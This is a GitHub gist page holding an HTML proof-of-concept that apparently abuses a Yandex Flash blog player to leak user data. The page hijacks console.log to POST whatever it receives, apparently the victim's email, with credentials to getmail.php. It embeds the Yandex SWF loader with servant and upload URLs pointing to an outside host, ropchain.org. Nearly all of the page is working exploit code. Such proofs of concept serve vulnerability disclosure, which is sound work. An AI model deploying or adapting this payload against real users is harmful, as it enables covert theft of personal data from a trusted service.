Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<body>
<script>
console.log=function(a){
if(a == "Start") {
// start ;-)
}
else {
var x = new XMLHttpRequest();
var str = "mail=" + a;
x.open("POST","getmail.php", true)
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.withCredentials = "true";
x.onreadystatechange = function() {
if (x.readyState == 4) {
if (x.status == 200) {
document.getElementById("content").innerHTML = unescape(x.responseText);
}}
}
x.send(str);
}
}
</script>
<br><center>
<object data="https://kraski-static.yandex.net/kraski-universal-blogplayer-loader.swf?baseUrl=http://kraski.yandex.ru&servantUrl=http://ropchain.org/poc/yandex&uploadUrl=http://ropchain.org/poc/yandex/&cardHash=flower018.jpg.2" width="500" height="600" allowscriptaccess="always">
</object>
</center>
<div id="content"></div>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment